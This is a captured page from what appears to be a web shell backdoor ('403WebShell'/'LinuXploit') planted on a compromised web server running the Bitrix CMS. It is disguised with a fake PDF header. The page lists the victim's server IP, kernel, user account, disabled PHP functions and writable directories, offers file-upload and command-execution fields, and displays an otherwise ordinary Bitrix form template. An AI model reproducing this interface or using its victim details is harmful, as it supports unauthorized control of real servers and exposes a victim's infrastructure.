%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.222.119.177
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.field.config.detail/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.field.config.detail/templates/.default//template.php
<?php
if(!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Main\Localization\Loc;

\Bitrix\Main\UI\Extension::load([
	'ui.forms',
	'ui.dialogs.messagebox',
	'main.loader',
	'ui.userfield',
	'ui.buttons',
	'ui.alerts',
    'date',
]);

\Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/main/dd.js');
$hasErrors = (!empty($arResult['errors']) && is_array($arResult['errors']));

if(!$hasErrors) {
	$APPLICATION->IncludeComponent(
		'bitrix:ui.sidepanel.wrappermenu',
		"",
		[
			'TITLE' => Loc::getMessage('MAIN_FIELD_CONFIG_SETTINGS'),
			'ITEMS' => [
				[
					'NAME' => Loc::getMessage('MAIN_FIELD_CONFIG_MENU_COMMON'),
					'ATTRIBUTES' => [
						'onclick' => 'BX.Main.UserField.Config.handleLeftMenuClick(' . ((int)$arResult['field']['ID']) . ', \'common\');',
						'data-role' => 'tab-common',
					],
					'ACTIVE' => true,
				],
				[
					'NAME' => Loc::getMessage('MAIN_FIELD_CONFIG_MENU_LIST'),
					'ATTRIBUTES' => [
						'onclick' => 'BX.Main.UserField.Config.handleLeftMenuClick(' . ((int)$arResult['field']['ID']) . ', \'list\');',
						'data-role' => 'tab-list',
						'style' => 'display: none;',
					],
				],
				[
					'NAME' => Loc::getMessage('MAIN_FIELD_CONFIG_MENU_LABELS'),
					'ATTRIBUTES' => [
						'onclick' => 'BX.Main.UserField.Config.handleLeftMenuClick(' . ((int)$arResult['field']['ID']) . ', \'labels\');',
						'data-role' => 'tab-labels',
					],
				],
				[
					'NAME' => Loc::getMessage('MAIN_FIELD_CONFIG_MENU_ADDITIONAL'),
					'ATTRIBUTES' => [
						'onclick' => 'BX.Main.UserField.Config.handleLeftMenuClick(' . ((int)$arResult['field']['ID']) . ', \'additional\');',
						'data-role' => 'tab-additional',
					],
				],
			],
		],
		$this->getComponent()
	);
}
?>
<div class="main-user-field-edit-container" id="main-user-field-edit-container">
	<div class="main-user-field-edit-tab main-user-field-edit-tab-current" data-tab="common">
		<div class="user-field-list-errors-container ui-alert ui-alert-danger"<?= (!$hasErrors ? ' style="display: none;"' : '') ;?>>
			<div class="main-user-field-error ui-alert-message" id="main-user-field-edit-errors">
			<?php if($hasErrors):
				foreach($arResult['errors'] as $error):
					echo htmlspecialcharsbx($error->getMessage());
				endforeach;
				return;
			endif;?>
			</div>
			<span class="ui-alert-close-btn" onclick="this.parentNode.style.display = 'none';"></span>
		</div>
		<input
			type="hidden"
			name="ID"
			value="<?= (int)$arResult['field']['ID']; ?>"
			data-role="main-user-field-id"
		>
		<input
			type="hidden"
			name="ENTITY_ID"
			value="<?= htmlspecialcharsbx($arResult['field']['ENTITY_ID']); ?>"
			data-role="main-user-field-entityId"
		>
		<div class="main-user-field-edit-input">
			<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['userTypeId']['label']); ?></div>
			<div class="ui-ctl ui-ctl-after-icon ui-ctl-dropdown ui-ctl-w100">
				<div class="ui-ctl-after ui-ctl-icon-angle"></div>
				<select
						class="ui-ctl-element"
						name="USER_TYPE_ID"
						<?= ($arResult['field']['ID'] > 0) ? 'disabled="disabled"' : '' ;?>
						data-role="main-user-field-userTypeId"
				>
					<?php foreach($arResult['types'] as $type) :?>
						<option
								value="<?= htmlspecialcharsbx($type['USER_TYPE_ID']); ?>"
								<?= ($arResult['field']['USER_TYPE_ID'] === $type['USER_TYPE_ID'] ? 'selected="selected"' : ''); ?>
						><?= htmlspecialcharsbx($type['DESCRIPTION']); ?></option>
					<?php endforeach;?>
				</select>
			</div>
		</div>
		<div class="main-user-field-edit-input main-user-field-name<?= (!$arResult['field']['ID'] ? ' main-user-field-name-with-prefix' : ''); ?>">
			<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['fieldName']['label']); ?></div>
			<?php if($arResult['field']['ID'] > 0): ?>
				<div class="ui-ctl ui-ctl-textbox ui-ctl-w100">
					<input
						type="text"
						class="ui-ctl-element"
						name="FIELD_NAME"
						value="<?= htmlspecialcharsbx($arResult['field']['FIELD_NAME']); ?>"
						disabled="disabled"
						data-role="main-user-field-fieldName"
					>
				</div>
			<?php else: ?>
				<div class="ui-ctl ui-ctl-textbox ui-ctl-inline main-user-field-prefix">
					<input
						type="text"
						class="ui-ctl-element"
						name="FIELD_PREFIX"
						value="<?= htmlspecialcharsbx($arResult['form']['fieldName']['prefix']); ?>"
						disabled="disabled"
						data-role="main-user-field-fieldPrefix"
					>
				</div><div class="ui-ctl ui-ctl-textbox ui-ctl-inline main-user-field-prefix-name">
					<input
						type="text"
						class="ui-ctl-element"
						name="FIELD_NAME"
						value="<?= time(); ?>"
						data-role="main-user-field-fieldName"
					>
				</div>
			<?php endif; ?>
		</div>
		<?php foreach($arResult['form']['editFormLabel'] as $label):
			if(!$label['language']['isCurrent'])
			{
				continue;
			}
			?>
			<div
				class="main-user-field-edit-input main-user-field-label"
				data-language="<?= htmlspecialcharsbx($label['language']['id']); ?>"
			>
				<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($label['label']); ?></div>
				<div class="ui-ctl ui-ctl-textbox ui-ctl-w100">
					<input
						type="text"
						class="ui-ctl-element"
						name="EDIT_FORM_LABEL[<?= htmlspecialcharsbx($label['language']['id']); ?>]"
						value="<?= htmlspecialcharsbx($arResult['field']['EDIT_FORM_LABEL'][$label['language']['id']]); ?>"
						data-role="main-user-field-editFormLabel"
					>
				</div>
			</div>
		<?php endforeach; ?>
		<div class="main-user-field-edit-input">
			<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['sort']['label']); ?></div>
			<div class="ui-ctl ui-ctl-textbox ui-ctl-w100">
				<input
					type="text"
					class="ui-ctl-element"
					name="SORT"
					value="<?= (int)$arResult['field']['SORT']; ?>"
					data-role="main-user-field-sort"
				>
			</div>
		</div>
		<div class="main-user-field-edit-input main-user-field-edit-input-checkbox">
			<label class="ui-ctl ui-ctl-checkbox ui-ctl-xs">
				<input
					type="checkbox"
					class="ui-ctl-element"
					name="MULTIPLE" value="Y"
					<?= ($arResult['field']['MULTIPLE'] === 'Y' ? ' checked="checked"' : '') ?>
					<?= ($arResult['field']['ID'] > 0 ? 'disabled="disabled"' : '') ?>
					data-role="main-user-field-multiple"
				>
				<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['multiple']['label']); ?></div>
			</label>
		</div>
		<div class="main-user-field-edit-input main-user-field-edit-input-checkbox">
			<label class="ui-ctl ui-ctl-checkbox ui-ctl-xs">
				<input
					type="checkbox"
					class="ui-ctl-element"
					name="MANDATORY" value="Y"
					<?= ($arResult['field']['MANDATORY'] === 'Y' ? ' checked="checked"' : '') ?>
					data-role="main-user-field-mandatory"
				>
				<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['mandatory']['label']); ?></div>
			</label>
		</div>
		<div class="main-user-field-edit-input main-user-field-edit-input-checkbox">
			<label class="ui-ctl ui-ctl-checkbox ui-ctl-xs">
				<input
					type="checkbox"
					class="ui-ctl-element"
					name="SHOW_FILTER" value="Y"
					<?= ($arResult['field']['SHOW_FILTER'] !== 'N' ? ' checked="checked"' : '') ?>
					data-role="main-user-field-showFilter"
				>
				<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['showFilter']['label']); ?></div>
			</label>
		</div>
		<div class="main-user-field-edit-input main-user-field-edit-input-checkbox">
			<label class="ui-ctl ui-ctl-checkbox ui-ctl-xs">
				<input
						type="checkbox"
						class="ui-ctl-element"
						name="IS_SEARCHABLE" value="Y"
						<?= ($arResult['field']['IS_SEARCHABLE'] === 'Y' ? ' checked="checked"' : '') ?>
						data-role="main-user-field-isSearchable"
				>
				<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($arResult['form']['isSearchable']['label']); ?></div>
			</label>
		</div>
	</div>
	<div class="main-user-field-edit-tab" data-tab="labels">
		<?php foreach($arResult['form']['editFormLabel'] as $label): ?>
			<div
					class="main-user-field-edit-input main-user-field-label"
					data-role="main-user-field-label-container"
					data-language="<?= htmlspecialcharsbx($label['language']['id']); ?>"
			>
				<div class="ui-ctl-label-text"><?= htmlspecialcharsbx($label['label']); ?> (<?= htmlspecialcharsbx($label['language']['name']); ?>)</div>
				<div class="ui-ctl ui-ctl-textbox ui-ctl-w100">
					<input
							type="text"
							class="ui-ctl-element"
							name="EDIT_FORM_LABEL[<?= htmlspecialcharsbx($label['language']['id']); ?>]"
							value="<?= htmlspecialcharsbx($arResult['field']['EDIT_FORM_LABEL'][$label['language']['id']]); ?>"
							data-role="main-user-field-editFormLabel-<?= htmlspecialcharsbx($label['language']['id']); ?>"
					>
				</div>
			</div>
		<?php endforeach; ?>
	</div>
	<div class="main-user-field-edit-tab" data-tab="additional">
		<div class="main-user-field-edit-input" data-role="main-user-field-settings-container">
			<div class="main-user-field-settings-title">
				<span class="main-user-field-settings-title-text"><?= htmlspecialcharsbx($arResult['form']['settings']['label']); ?></span>
			</div>
			<form data-role="main-user-field-settings">
				<table class="main-user-field-edit-settings" data-role="main-user-field-settings-table">
					<?= $arResult['form']['settings']['html']; ?>
				</table>
			</form>
		</div>
	</div>
	<div class="main-user-field-edit-tab" data-tab="list">
		<div class="main-user-field-enum-row">
			<span class="main-user-field-enum-title"><?= Loc::getMessage('MAIN_FIELD_CONFIG_LIST_ITEMS_TITLE'); ?></span>
		</div>
		<div class="main-user-field-enum-row-list">
			<?php if(!empty($arResult['field']['ENUM'])):
				foreach($arResult['field']['ENUM'] as $enum): ?>
					<div class="main-user-field-enum-row" data-role="main-user-field-enum-row" data-id="<?= (int)$enum['ID'] ;?>">
						<div class="main-user-field-enum-row-inner ui-ctl ui-ctl-textbox ui-ctl-w100 ui-ctl-row">
							<span class="main-user-field-enum-row-draggable" style=""></span>
							<input
								class="ui-ctl-element"
								type="text"
								name="ENUM[<?= (int)$enum['ID']; ?>][VALUE]"
								value="<?= htmlspecialcharsbx($enum['VALUE']); ?>"
								data-role="main-user-field-enum-value"
							>
							<div class="main-user-field-enum-delete" data-role="main-user-field-enum-delete"></div>
						</div>
					</div>
				<?php endforeach;
			endif;?>
			<div class="main-user-field-enum-row" data-role="main-user-field-enum-row">
				<div class="main-user-field-enum-row-inner ui-ctl ui-ctl-textbox ui-ctl-w100 ui-ctl-row">
					<span class="main-user-field-enum-row-draggable" style=""></span>
					<input class="ui-ctl-element" type="text" name="ENUM[][VALUE]" value="" data-role="main-user-field-enum-value">
					<div class="main-user-field-enum-delete" data-role="main-user-field-enum-delete"></div>
				</div>
			</div>
		</div>
		<div class="main-user-field-edit-input">
			<span class="main-user-field-enum-add" data-role="main-user-field-enum-add"><?= Loc::getMessage('MAIN_FIELD_CONFIG_LIST_ITEMS_ADD'); ?></span>
		</div>
		<div class="main-user-field-edit-input">
			<div class="ui-ctl-label-text"><?= Loc::getMessage('MAIN_FIELD_CONFIG_LIST_ITEMS_DEFAULT') ?></div>
			<div class="ui-ctl ui-ctl-after-icon ui-ctl-dropdown ui-ctl-w100">
				<div class="ui-ctl-after ui-ctl-icon-angle"></div>
				<select
						class="ui-ctl-element"
						name="DEFAULT"
						data-role="main-user-field-enumDefault"
				>
					<option value="empty"><?= Loc::getMessage('MAIN_FIELD_CONFIG_LIST_ITEMS_DEFAULT_EMPTY'); ?></option>
					<?php if(!empty($arResult['field']['ENUM'])):
						foreach($arResult['field']['ENUM'] as $enum): ?>
							<option
								<?= ($enum['DEF'] === 'Y' ? 'selected="selected"' : ''); ?>
								data-id="<?= (int)$enum['ID'] ;?>"
								value="<?= htmlspecialcharsbx($enum['VALUE']); ?>"
							><?= htmlspecialcharsbx($enum['VALUE']); ?></option>
						<?php endforeach;;
					endif; ?>
				</select>
			</div>
		</div>
	</div>
	<div class="main-user-field-edit-buttons">
		<?php
		$buttons = [
			[
				'TYPE' => 'save',
			],
			'cancel'
		];
		if($arResult['field']['ID'] > 0)
		{
			$buttons[] = [
				'TYPE' => 'remove',
			];
		}
		$APPLICATION->IncludeComponent(
			'bitrix:ui.button.panel',
			"",
			[
				'BUTTONS' => $buttons,
				'ALIGN' => 'center'
			],
			$this->getComponent()
		);
		?>
	</div>
</div>
<script>
	BX.ready(function()
	{
		<?= 'BX.message('.\CUtil::PhpToJSObject(Loc::loadLanguageFile(__FILE__)).');' ?>
		var params = <?= CUtil::PhpToJSObject($arResult['jsParams']);?>;
		params.container = document.getElementById('main-user-field-edit-container');
		params.errorsContainer = document.getElementById('main-user-field-edit-errors');
		new BX.Main.UserField.Config(params);

		var listBlock = document.querySelector('[data-tab="list"]');
		var listItems = listBlock.querySelectorAll('[data-role="main-user-field-enum-row"]');

		listItems.forEach(function(item){
			var dragDropItem = new BX.Main.UserField.DragDropItem(item);
			dragDropItem.init(item);
		}.bind(this));

		var dragDropBtnContainer = new BX.Main.UserField.DragDropBtnContainer();
		dragDropBtnContainer.init();
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit